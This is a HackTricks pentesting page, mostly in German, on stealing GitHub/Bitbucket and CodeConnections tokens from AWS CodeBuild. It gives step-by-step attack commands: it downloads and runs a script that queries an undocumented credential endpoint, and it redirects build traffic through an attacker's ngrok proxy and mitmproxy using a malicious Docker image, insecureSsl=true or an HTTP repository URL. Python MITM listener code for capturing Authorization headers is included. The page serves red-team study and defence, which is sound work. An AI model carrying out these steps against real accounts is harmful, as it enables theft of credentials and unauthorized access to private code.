AWS Codebuild - Token Leakage

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Wiederherstellen von Github/Bitbucket konfigurierten Tokens

Überprüfe zuerst, ob Quell-Zugangsdaten konfiguriert sind, die du leaken könntest:

aws codebuild list-source-credentials

Über RCE im CodeBuild-Job

Von innerhalb eines CodeBuild-Jobs kannst du einen undokumentierten AWS CodeBuild API endpoint aufrufen, der dir die von CodeBuild verwendeten credentials zurückgibt. Das kann genutzt werden, um die credentials zu erhalten, mit denen der CodeBuild-Job eingerichtet wurde, z. B. AWS CodeConnection credentials, OAUTH- oder PAT-credentials. Der CodeBuild-Job muss dafür nicht privileged sein, und es ist zudem schwer, das in logging und monitoring zu entdecken, da CodeBuild diesen endpoint beim startup mehrmals aufruft.

Die Technik wird weiter in https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ erklärt, aber zusammengefasst: um credentials innerhalb des CodeBuild-Jobs zu erhalten, musst du einfach Folgendes ausführen:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

Über Docker Image

Wenn Sie feststellen, dass eine Authentifizierung zu beispielsweise Github im Account eingerichtet ist, können Sie diesen access (GH token or OAuth token) exfiltrate, indem Sie Codebuild dazu bringen, ein bestimmtes Docker image für den Build des Projekts zu verwenden.

Zu diesem Zweck können Sie ein neues Codebuild-Projekt erstellen oder die Umgebung eines bestehenden Projekts ändern, um das Docker image festzulegen.

The Docker image you could use is https://github.com/carlospolop/docker-mitm. Dies ist ein sehr einfaches Docker image, das die env variables https_proxy, http_proxy und SSL_CERT_FILE setzt. Dadurch können Sie den Großteil des Traffics des Hosts, der in https_proxy und http_proxy angegeben ist, abfangen und dem in SSL_CERT_FILE angegebenen SSL CERT vertrauen.

  1. Create & Upload your own Docker MitM image
  • Folgen Sie den Anweisungen im Repo, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu setzen und das Docker image zu bauen.
  • DO NOT SET http_proxy, damit keine Anfragen an den Metadata-Endpoint abgefangen werden.
  • Sie können ngrok verwenden, z. B. ngrok tcp 4444, um den Proxy auf Ihren Host zu richten.
  • Sobald das Docker image gebaut ist, lade es in ein öffentliches Repo hoch (Dockerhub, ECR…)
  1. Set the environment
  • Erstellen Sie ein neues Codebuild-Projekt oder ändern die Umgebung eines bestehenden Projekts.
  • Setzen Sie das Projekt so, dass es das zuvor erstellte Docker image verwendet
  1. Konfigurieren Sie den MitM-Proxy auf Ihrem Host
  • Wie im Github repo angegeben, könnten Sie so etwas verwenden:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Die mitmproxy-Version war 9.0.1, es wurde berichtet, dass es mit Version 10 möglicherweise nicht mehr funktioniert.

  1. Führe den Build aus & erfasse die credentials
  • Du kannst das Token im Authorization Header sehen:

Das lässt sich auch mit dem aws cli mit einem Befehl wie dem folgenden durchführen:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Über insecureSSL

Codebuild projects have a setting called insecureSsl that is hidden in the web you can only change it from the API.
Wenn diese aktiviert ist, erlaubt sie Codebuild, sich mit dem Repository zu verbinden, ohne das vom Dienst präsentierte Zertifikat zu prüfen.

  • Zuerst musst du die aktuelle Konfiguration (enumerate) mit etwas wie:
aws codebuild batch-get-projects --name <proj-name>
  • Dann kannst du mit den gesammelten Informationen die Projekteinstellung insecureSsl auf True setzen. Im Folgenden ein Beispiel, wie ich ein Projekt aktualisiere — beachte das insecureSsl=True am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst).
  • Füge außerdem die Umgebungsvariablen http_proxy und https_proxy hinzu, die auf deinen tcp ngrok zeigen, zum Beispiel:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Schließlich klicke auf Build the project, die credentials werden im Klartext (base64) an den mitm port gesendet:

Über das HTTP-Protokoll

[!TIP] > Diese Vulnerability wurde von AWS irgendwann in der Woche des 20. Feb 2023 behoben (ich glaube am Freitag). Daher kann ein attacker sie nicht mehr ausnutzen :)

Ein attacker mit elevated permissions in einem CodeBuild konnte das konfigurierte Github/Bitbucket token leaken oder — falls die Berechtigungen via OAuth konfiguriert waren — das temporäre OAuth-Token zum Zugriff auf den Code.

  • Ein attacker könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel http://5.tcp.eu.ngrok.io:14972).
  • Dann ändere die URL des Github-Repo so, dass HTTP statt HTTPS verwendet wird, zum Beispiel: http://github.com/carlospolop-forks/TestActions
  • Dann starte das basic Beispiel von https://github.com/synchronizing/mitm auf dem Port, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Als Nächstes klicken Sie auf Projekt bauen oder starten Sie den Build über die Befehlszeile:
aws codebuild start-build --project-name <proj-name>
  • Schließlich werden die credentials im Klartext (base64) an den mitm-Port gesendet:

Warning

Nun kann ein attacker das token von seiner Maschine verwenden, alle privileges auflisten und es leichter (ab)use als über die direkte Nutzung des CodeBuild-Service.

Untrusted PR execution via webhook filter misconfiguration

Für die PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), siehe:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks